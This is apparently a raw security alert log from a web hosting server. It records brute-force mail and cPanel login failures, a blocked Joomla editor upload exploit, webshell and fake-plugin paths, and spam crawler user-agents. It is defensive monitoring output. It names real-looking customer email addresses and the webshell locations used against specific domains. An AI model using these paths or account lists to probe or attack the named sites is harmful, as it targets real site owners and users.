2026-07-20 08:51:26 dovecot_login authenticator failed for H=([125.143.224.252]) [202.62.95.243]:54544: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.131.220.133
country_id: 1835841
description:
2026-07-20 08:51:47 dovecot_login authenticator failed for H=(138-219-13-21.reverse.cablecolor.com.sv) [121.131.220.133]:53873: 535 Incorrect authentication data (set_id=shokria@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 174.79.87.115
country_id: 6252001
description:
2026-07-20 08:51:50 dovecot_login authenticator failed for H=wsip-174-79-87-115.br.br.cox.net (111-70-23-248.emome-ip.hinet.net) [174.79.87.115]:56419: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.174.49
country_id: 99237
description:
2026-07-20 08:52:20 dovecot_login authenticator failed for H=(ip-177-27-76-210.user.vivozap.com.br) [65.20.174.49]:59521: 535 Incorrect authentication data (set_id=shokria)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 78.177.176.42
country_id: 298795
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/1a1965023 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 38.47.191.134
country_id: 1880251
domain: cochinbigbandshow.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jce-9908cdd3.xml.php||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.33.119.34
country_id: 1835841
description:
2026-07-20 08:54:38 dovecot_login authenticator failed for H=([49.124.149.214]) [118.33.119.34]:36778: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.193.187.154
country_id: 1269750
description:
2026-07-20 08:55:04 dovecot_login authenticator failed for H=([182.239.80.7]) [113.193.187.154]:60846: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 68.225.61.156
country_id: 6252001
description:
2026-07-20 08:58:08 dovecot_login authenticator failed for H=wsip-68-225-61-156.pn.at.cox.net ([122.53.106.124]) [68.225.61.156]:48797: 535 Incorrect authentication data (set_id=shokria@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.4.124
country_id: 1668284
description:
2026-07-20 08:58:21 dovecot_login authenticator failed for H=([112.184.40.215]) [101.13.4.124]:44530: 535 Incorrect authentication data (set_id=shokria)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.72.9.151
country_id: 1269750
description:
2026-07-20 08:59:09 dovecot_login authenticator failed for H=([49.124.148.187]) [116.72.9.151]:35916: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.126.217.41
country_id: 1210997
description:
2026-07-20 09:00:58 dovecot_login authenticator failed for H=([183.171.4.144]) [103.126.217.41]:49856: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.4.120
country_id: 1668284
description:
2026-07-20 09:01:09 dovecot_login authenticator failed for H=([121.131.220.136]) [101.13.4.120]:60452: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.23.203.138
country_id: 1269750
description:
2026-07-20 09:01:36 dovecot_login authenticator failed for H=([192.111.130.1]) [125.23.203.138]:56806: 535 Incorrect authentication data (set_id=jianan@idealloanz.com.au)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 173.56.255.46
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/2c2341946 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77142267
name: IM360 WAF: Special shell symbol in request
abuser: 2401:4900:8fdd:80b0:8588:f400:b5ad:1a7e
country_id: 1269750
domain: futuracare.com.au
description:
IM360 WAF: Special shell symbol in request||MV:modified_by}||MVN:ARGS:jform[editemailreceiptsettings][editemailreceipttext]||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 151.0.154.194
country_id: 3175395
description:
2026-07-20 09:07:21 dovecot_login authenticator failed for H=151-0-154-194.ip281.fastwebnet.it ([124.153.189.92]) [151.0.154.194]:17393: 535 Incorrect authentication data (set_id=website@cochinbigbandshow.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.104.220.84
country_id: 1835841
description:
2026-07-20 09:07:40 dovecot_login authenticator failed for H=([111.35.36.49]) [183.104.220.84]:34252: 535 Incorrect authentication data (set_id=website)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 172.251.252.216
country_id: 6252001
description:
2026-07-20 09:07:55 dovecot_login authenticator failed for H=([222.175.187.214]) [172.251.252.216]:46988: 535 Incorrect authentication data (set_id=jianan@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.189.126.185
country_id: 337996
description:
2026-07-20 09:08:10 dovecot_login authenticator failed for H=(nsg-corporate-35.174.186.122.airtel.in) [196.189.126.185]:52986: 535 Incorrect authentication data (set_id=jianan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.61.82
country_id: 1269750
description:
2026-07-20 09:09:14 dovecot_login authenticator failed for H=(51.186.43.195.ip.retelit.net) [182.95.61.82]:35356: 535 Incorrect authentication data (set_id=shokria@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.46.177.242
country_id: 3703430
description:
2026-07-20 09:09:29 dovecot_login authenticator failed for H=([210.123.87.143]) [200.46.177.242]:47178: 535 Incorrect authentication data (set_id=shokria)


plugin: modsec
rule: 77350026
name: IM360 WAF: Track suspicious Spring Framework requests
abuser: 2401:4900:8fdd:80b0:8588:f400:b5ad:1a7e
country_id: 1269750
domain: futuracare.com.au
description:
IM360 WAF: Track suspicious Spring Framework requests||RSV:8.32||T:APACHE||MVN:ARGS:jform[defaultvalue][f_text_attribute_class]||MV: inputbox visCSSinput ||


plugin: modsec
rule: 77469916
abuser: 125.167.119.225
country_id: 1643084
domain: globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:shadowxfriska_ceybqa.php||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 125.167.119.225
country_id: 1643084
domain: globalgroupoman.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.32||T:APACHE||MV:/images/shadowxfriska_ceybqa.php||SC:/home/globalgroupoman/public_html/images/shadowxfriska_ceybqa.php||


plugin: modsec
rule: 77240000
name: IM360 WAF: Protecting Joomla folder
abuser: 125.167.119.225
country_id: 1643084
domain: globalgroupoman.com
description:
IM360 WAF: Protecting Joomla folder||MVN:REQUEST_FILENAME||MV:/images/stories/shadowxfriska_ceybqa.php||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 223.178.211.80
country_id: 1269750
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/5f3758887 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.61.82
country_id: 1269750
description:
2026-07-20 09:15:34 dovecot_login authenticator failed for H=([220.246.43.172]) [182.95.61.82]:44304: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 149.71.34.141
country_id: 1168579
description:
2026-07-20 09:15:49 dovecot_login authenticator failed for H=([186.239.41.74]) [149.71.34.141]:43034: 535 Incorrect authentication data (set_id=website@cochinbigbandshow.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.211.127.19
country_id: 1835841
description:
2026-07-20 09:15:54 dovecot_login authenticator failed for H=([125.19.169.115]) [211.211.127.19]:35976: 535 Incorrect authentication data (set_id=website@cochinbigbandshow.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.29.30.52
country_id: 3608932
description:
2026-07-20 09:16:04 dovecot_login authenticator failed for H=([213.235.27.2]) [46.29.30.52]:2639: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.29.158
country_id: 1668284
description:
2026-07-20 09:16:12 dovecot_login authenticator failed for H=111-70-29-158.emome-ip.hinet.net ([125.19.169.115]) [111.70.29.158]:48254: 535 Incorrect authentication data (set_id=website)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.127.42
country_id: 1269750
description:
2026-07-20 09:16:56 dovecot_login authenticator failed for H=([72.37.216.65]) [182.95.127.42]:43728: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.207.225.55
country_id: 6252001
description:
2026-07-20 09:17:12 dovecot_login authenticator failed for H=wsip-64-207-225-55.tu.ok.cox.net ([183.171.12.224]) [64.207.225.55]:37160: 535 Incorrect authentication data (set_id=corporate)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 69.253.45.235
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/713334888 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.97.52.95
country_id: 1269750
description:
2026-07-20 09:17:47 dovecot_login authenticator failed for H=([183.71.251.66]) [59.97.52.95]:44402: 535 Incorrect authentication data (set_id=website@cochinbigbandshow.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 162.251.93.214
country_id: 6252001
description:
2026-07-20 09:18:13 dovecot_login authenticator failed for H=(nova-185-040-122-250.cpe.novanet.is) [162.251.93.214]:56044: 535 Incorrect authentication data (set_id=website)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.158.231.81
country_id: 1269750
description:
2026-07-20 09:20:29 dovecot_plain authenticator failed for H=(proolodold) [103.158.231.81]:2514: 535 Incorrect authentication data (set_id=jijo@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.133.208
country_id: 99237
description:
2026-07-20 09:20:33 dovecot_plain authenticator failed for H=(culpinan) [65.20.133.208]:37694: 535 Incorrect authentication data (set_id=jijo@ddgalaxy.in)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 4.79.207.129
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/812985790 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.72.9.151
country_id: 1269750
description:
2026-07-20 09:22:18 dovecot_login authenticator failed for H=([45.118.32.190]) [116.72.9.151]:41288: 535 Incorrect authentication data (set_id=website@cochinbigbandshow.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.33.247.46
country_id: 2077456
description:
2026-07-20 09:22:31 dovecot_login authenticator failed for H=27-33-247-46.tpgi.com.au ([91.143.161.208]) [27.33.247.46]:51555: 535 Incorrect authentication data (set_id=website)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.190.220.199
country_id: 337996
description:
2026-07-20 09:24:08 dovecot_login authenticator failed for H=([82.65.140.218]) [196.190.220.199]:52360: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.105.229.237
country_id: 1835841
description:
2026-07-20 09:24:30 dovecot_login authenticator failed for H=([139.216.6.17]) [211.105.229.237]:37474: 535 Incorrect authentication data (set_id=mail)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 31.17.255.245
country_id: 2921044
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/9d3655287 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.201.237.208
country_id: 1269750
description:
2026-07-20 09:26:51 dovecot_login authenticator failed for H=([113.25.249.100]) [106.201.237.208]:60968: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.131.220.157
country_id: 1835841
description:
2026-07-20 09:27:05 dovecot_login authenticator failed for H=(200-168-190-81.jandaia.com) [121.131.220.157]:41137: 535 Incorrect authentication data (set_id=jianan@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.23.222
country_id: 1668284
description:
2026-07-20 09:26:17 dovecot_login authenticator failed for H=111-70-23-222.emome-ip.hinet.net ([116.230.66.189]) [111.70.23.222]:60767: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.177.143.61
country_id: 1819730
description:
2026-07-20 09:27:17 dovecot_login authenticator failed for H=([49.124.153.11]) [210.177.143.61]:41346: 535 Incorrect authentication data (set_id=jianan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.180.125.157
country_id: 2661886
description:
2026-07-20 09:31:00 dovecot_login authenticator failed for H=ip157.net-193-180-125.koping.net (distribution05-10gb.1560.la3.switches.zerolag.com) [193.180.125.157]:54390: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.179.163.27
country_id: 1269750
description:
2026-07-20 09:31:13 dovecot_login authenticator failed for H=([103.86.127.71]) [122.179.163.27]:40464: 535 Incorrect authentication data (set_id=rdcentre)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 24.99.232.157
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/973183939 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.179.163.27
country_id: 1269750
description:
2026-07-20 09:34:33 dovecot_login authenticator failed for H=(187-8-120-90.customer.tdatabrasil.net.br) [122.179.163.27]:56254: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 90.173.78.90
country_id: 2510769
description:
2026-07-20 09:34:50 dovecot_login authenticator failed for H=([182.95.150.106]) [90.173.78.90]:53887: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: modsec
rule: 77316761
name: IM360 WAF: Block interaction with malicious plugin
abuser: 45.133.7.64
country_id: 2186224
domain: futuracare.com.au
description:
IM360 WAF: Block interaction with malicious plugin||RSV:8.32||T:APACHE||SC:/home/futuracarecom/public_html/wp-content||REQUEST_URI:/wp-content/plugins/ubh/up.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 45.133.7.64
country_id: 2186224
domain: futuracare.com.au
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.32||T:APACHE||MV:/wp-admin/images/bootstrap.php||SC:/home/futuracarecom/public_html/wp-admin||


plugin: modsec
rule: 77350390
name: IM360 WAF: Interaction with fake plugin
abuser: 45.133.7.64
country_id: 2186224
domain: futuracare.com.au
description:
IM360 WAF: Interaction with fake plugin||MV:/wp-content/plugins/pwnd/pwnd.php||WPU:||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77350392
name: IM360 WAF: Interaction with fake plugin
abuser: 45.133.7.64
country_id: 2186224
domain: futuracare.com.au
description:
IM360 WAF: Interaction with fake plugin||MV:/wp-content/plugins/seoplugins/db.php?u||WPU:||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.1.120.2
country_id: 1835841
description:
2026-07-20 09:38:36 dovecot_login authenticator failed for H=([70.166.167.44]) [121.1.120.2]:45881: 535 Incorrect authentication data (set_id=prasad.k)


plugin: modsec
rule: 77472029
name: IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)
abuser: 45.133.7.64
country_id: 2186224
domain: futuracare.com.au
description:
IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)||MV:/wp-content/uploads/autoload_classmap.php||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77316761
name: IM360 WAF: Block interaction with malicious plugin
abuser: 45.133.7.98
country_id: 2186224
domain: futuracare.com.au
description:
IM360 WAF: Block interaction with malicious plugin||RSV:8.32||T:APACHE||SC:/home/futuracarecom/public_html/wp-content||REQUEST_URI:/wp-content/plugins/ubh/||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 45.133.7.64
country_id: 2186224
domain: futuracare.com.au
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.32||T:APACHE||MV:/admin/upload/css.php||SC:/home/futuracarecom/public_html/admin||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.150.106
country_id: 1269750
description:
2026-07-20 09:38:22 dovecot_login authenticator failed for H=([178.178.222.59]) [182.95.150.106]:48950: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 161.153.13.153
country_id: 6252001
description:
2026-07-20 09:39:31 dovecot_login authenticator failed for H=(213.33.204.130.moscow.gldn.net) [161.153.13.153]:47700: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: modsec
rule: 77350295
name: IM360 WAF: Interaction with fake plugin
abuser: 45.133.7.98
country_id: 2186224
domain: futuracare.com.au
description:
IM360 WAF: Interaction with fake plugin||MV:/wp-content/plugins/WordPressCore/||WPU:||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.29.158
country_id: 1668284
description:
2026-07-20 09:41:14 dovecot_login authenticator failed for H=111-70-29-158.emome-ip.hinet.net (mission-web-hosting.com) [111.70.29.158]:50451: 535 Incorrect authentication data (set_id=jianan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 98.190.40.102
country_id: 6252001
description:
2026-07-20 09:41:01 dovecot_login authenticator failed for H=wsip-98-190-40-102.ga.at.cox.net ([1.247.245.61]) [98.190.40.102]:56461: 535 Incorrect authentication data (set_id=jianan@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.177.12.54
country_id: 1269750
description:
2026-07-20 09:43:16 dovecot_login authenticator failed for H=([111.26.106.119]) [59.177.12.54]:41962: 535 Incorrect authentication data (set_id=shokria@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.63.219.148
country_id: 1835841
description:
2026-07-20 09:43:31 dovecot_login authenticator failed for H=(197-248-179-127.safaricombusiness.co.ke) [211.63.219.148]:45342: 535 Incorrect authentication data (set_id=shokria)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.90.125.27
country_id: 2328926
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/e72898962 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.121.186.125
country_id: 6252001
description:
2026-07-20 09:50:59 dovecot_login authenticator failed for H=50-121-186-125.static.chtn.wv.ip.frontiernet.net (187.58.64.145.static.host.gvt.net.br) [50.121.186.125]:54855: 535 Incorrect authentication data (set_id=shokria)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 208.96.233.67
country_id: 6251999
description:
2026-07-20 09:50:45 dovecot_login authenticator failed for H=208-96-233-67.resi.cgocable.ca ([49.124.148.194]) [208.96.233.67]:39078: 535 Incorrect authentication data (set_id=shokria@idealloanz.com.au)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 182.252.94.179
country_id: 1210997
description:
[2026-07-20 10:01:03 +0530] info [cpaneld] 182.252.94.179 - globalgroupoman "GET /login/?login_only=1&user=globalgroupoman&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 78.68.98.249
country_id: 2661886
description:
[2026-07-20 10:01:05 +0530] info [cpaneld] 78.68.98.249 - globalgroupomancom "GET /login/?login_only=1&user=globalgroupomancom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user globalgroupomancom (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 187.190.167.25
country_id: 3996063
description:
[2026-07-20 10:01:14 +0530] info [cpaneld] 187.190.167.25 - globalg1 "GET /login/?login_only=1&user=globalg1&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user globalg1 (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.104.220.84
country_id: 1835841
description:
2026-07-20 10:04:48 dovecot_login authenticator failed for H=([190.197.31.229]) [183.104.220.84]:57234: 535 Incorrect authentication data (set_id=website@cochinbigbandshow.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.131.220.152
country_id: 1835841
description:
2026-07-20 10:05:09 dovecot_login authenticator failed for H=([61.74.224.30]) [121.131.220.152]:42685: 535 Incorrect authentication data (set_id=website)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.210.164.158
country_id: 1210997
description:
2026-07-20 10:06:17 dovecot_login authenticator failed for H=([182.95.178.174]) [180.210.164.158]:59234: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.10.134.170
country_id: 1210997
description:
2026-07-20 10:07:00 dovecot_login authenticator failed for H=([37.79.232.82]) [157.10.134.170]:52872: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.208.42
country_id: 1269750
description:
2026-07-20 10:07:38 dovecot_login authenticator failed for H=(voip.uet.edu.pk) [128.185.208.42]:43190: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.67.246.166
country_id: 798544
description:
2026-07-20 10:11:08 dovecot_login authenticator failed for H=89-67-246-166.dynamic.play.pl ([70.166.167.50]) [89.67.246.166]:46592: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.231.243.28
country_id: 6252001
description:
2026-07-20 10:12:48 dovecot_plain authenticator failed for H=(amalds) [50.231.243.28]:35512: 535 Incorrect authentication data (set_id=support@ddgalaxy.in)


plugin: modsec
rule: 77980115
name: IM360 WAF: LetsEncrypt ACME Challenge Request
abuser: 52.14.118.143
country_id: 6252001
domain: jaashsupplies.com
description:
IM360 WAF: LetsEncrypt ACME Challenge Request||MV:/.well-known/acme-challenge/yXpTeogz5Aac17JEqKzu1kahfdfeXbyqCoHpfroIElg||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77980115
name: IM360 WAF: LetsEncrypt ACME Challenge Request
abuser: 3.0.175.173
country_id: 1880251
domain: www.jaashsupplies.com
description:
IM360 WAF: LetsEncrypt ACME Challenge Request||MV:/.well-known/acme-challenge/axaHA8dedvNpFJWN9qfE904JE4NPPDmhsiOJVAnXASI||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 91.148.244.131
country_id: 2802361
domain: jaashsupplies.com
description:
IM360 WAF: Bad file extension||RSV:8.32||T:APACHE||MVN:REQUEST_FILENAME||MV:/storage/logs/laravel.log||User:jaashsupplies||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 94.46.6.165
country_id: 298795
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 spend your Bitcoin on a watch (<a href=\"https://satowatch.com\">https://satowatch.com/</a>) (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 179.33.224.22
country_id: 3686110
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/structured-cabling-systems HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 36.70.99.192
country_id: 1643084
domain: metrodigitals.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:90240.metrodigitals.com||ServerName:metrodigitals.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:6f8c8b27daacf4e1777c5067490514f851970b8d||Title:0xa3e1a362||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.169.40.221
country_id: 1269750
description:
2026-07-20 10:18:02 dovecot_login authenticator failed for H=([185.138.167.146]) [122.169.40.221]:49388: 535 Incorrect authentication data (set_id=jianan@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.250.67.190
country_id: 1835841
description:
2026-07-20 10:18:21 dovecot_login authenticator failed for H=([37.208.46.133]) [1.250.67.190]:60514: 535 Incorrect authentication data (set_id=jianan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 124.105.218.151
country_id: 1694008
description:
2026-07-20 10:20:02 dovecot_login authenticator failed for H=(59-120-8-61.hinet-ip.hinet.net) [124.105.218.151]:33182: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.223.192.112
country_id: 660013
description:
2026-07-20 10:20:37 dovecot_login authenticator failed for H=dsl-hkibng42-50dfc0-112.dhcp.inet.fi (51.186.43.195.ip.retelit.net) [80.223.192.112]:45024: 535 Incorrect authentication data (set_id=website@cochinbigbandshow.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 158.69.22.136
country_id: 6251999
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://ecommerce.sinknews.it.com/\">bigtechoro</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.205.2.250
country_id: 1269750
description:
2026-07-20 10:23:34 dovecot_login authenticator failed for H=(ipmapt-72-195-114-182.oc.oc.cox.net) [117.205.2.250]:34911: 535 Incorrect authentication data (set_id=shokria@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.149.183.58
country_id: 1835841
description:
2026-07-20 10:23:49 dovecot_login authenticator failed for H=([198.8.84.1]) [218.149.183.58]:47988: 535 Incorrect authentication data (set_id=shokria)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 72.187.169.44
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/853488116 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 31.223.75.172
country_id: 298795
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://www.symbaloo.com/mix/yohoho\">yohoho</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 72.215.46.109
country_id: 6252001
description:
2026-07-20 10:29:30 dovecot_login authenticator failed for H=wsip-72-215-46-109.pn.at.cox.net ([220.72.198.61]) [72.215.46.109]:39665: 535 Incorrect authentication data (set_id=jianan@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 124.83.9.140
country_id: 1694008
description:
2026-07-20 10:29:51 dovecot_login authenticator failed for H=([174.64.199.87]) [124.83.9.140]:53782: 535 Incorrect authentication data (set_id=jianan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 98.157.226.42
country_id: 6252001
description:
2026-07-20 10:30:52 dovecot_login authenticator failed for H=([94.25.40.30]) [98.157.226.42]:55083: 535 Incorrect authentication data (set_id=shokria@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.162.3.197
country_id: 1835841
description:
2026-07-20 10:31:12 dovecot_login authenticator failed for H=([119.207.21.240]) [221.162.3.197]:57039: 535 Incorrect authentication data (set_id=shokria)


